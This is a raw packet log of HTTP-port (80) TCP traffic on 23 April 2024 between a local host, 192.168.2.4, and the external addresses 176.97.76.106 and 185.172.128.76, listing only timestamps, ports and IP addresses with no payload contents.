Apr 23, 2024 09:38:08.096807003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096836090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096870899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096873045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096906900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096941948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096950054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096977949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097012997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097018957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097048044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097083092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097090006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097119093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097155094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097160101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097191095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097227097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097229958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097261906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097296953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097306967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097332001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097367048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097368002 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097402096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097436905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097438097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097471952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097507000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097511053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097542048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097577095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097582102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097611904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097646952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097656965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097682953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097718000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097724915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097752094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097786903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097799063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097821951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097857952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097861052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097893000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097929955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.097930908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.097965956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098001003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098002911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.098036051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098069906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098073006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.098105907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098140001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098145962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.098175049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098210096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098213911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.098246098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.098282099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.201911926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:08.202155113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:08.319451094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319513083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319551945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319565058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.319587946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319626093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319634914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.319663048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319699049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319706917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.319823027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319859982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319866896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.319895029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319932938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.319935083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.319967985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320003033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320008039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320039988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320075989 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320075989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320175886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320213079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320216894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320250034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320286989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320293903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320322990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320358038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320369005 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320396900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320431948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320436954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320466995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320503950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320525885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320538998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320574045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320581913 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.320609093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320647955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.320655107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.323892117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.323930025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.323942900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.323967934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.324006081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.324012041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.324040890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.324079037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.324084997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.326040030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.326076984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.326092958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.326113939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.326149940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.326157093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.326219082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.326261997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.326287031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331432104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331471920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331511974 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.331553936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331589937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331600904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.331626892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331669092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.331696987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331794024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331830978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331840992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.331866980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.331912994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.331969976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332130909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332166910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332174063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332202911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332237959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332245111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332273960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332309008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332312107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332345009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332381010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332382917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332420111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332457066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332461119 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332493067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332528114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332532883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332562923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332597971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332602024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332633018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332668066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332673073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332710028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332745075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332750082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332798958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332837105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332838058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332874060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332915068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332916021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.332950115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332988024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.332994938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333024025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333060026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333064079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333093882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333129883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333136082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333165884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333201885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333204031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333237886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333275080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333280087 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333309889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333345890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333348989 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333379984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333415985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333420992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333451033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333486080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333488941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333520889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333556890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333559990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333591938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333626986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333630085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333662987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333697081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333723068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333731890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333765984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333790064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333801985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333836079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333865881 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333878994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333915949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333925009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.333950996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333987951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.333990097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334022999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334058046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334083080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334091902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334127903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334155083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334166050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334199905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334227085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334233999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334270954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334290028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334305048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334340096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334372997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334388018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334408045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334410906 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334444046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334477901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334481955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334513903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334549904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334553957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334584951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334620953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334623098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334656954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334692001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334693909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334728003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334764004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334764957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334800005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334835052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334840059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334870100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334907055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334911108 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.334943056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334978104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.334980965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335014105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335048914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335052967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335083961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335119963 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335123062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335155964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335191011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335196018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335269928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335305929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335309982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335340977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335376978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335382938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335412025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335447073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335449934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335483074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335517883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335520029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335558891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335597038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335597992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335632086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335668087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335673094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335701942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335736990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335741043 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335772038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335805893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335813999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335841894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335876942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335882902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335912943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335952044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.335957050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.335987091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336021900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336031914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336056948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336091995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336097002 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336146116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336182117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336188078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336219072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336256981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336261034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336292028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336328983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336333036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336363077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336397886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336400032 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.336433887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.336474895 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.552448988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.552479982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.552504063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.552527905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553141117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553181887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553191900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553210020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553226948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553242922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553251028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553262949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553280115 CEST	80	49734	176.97.76.106	192.168.2.4
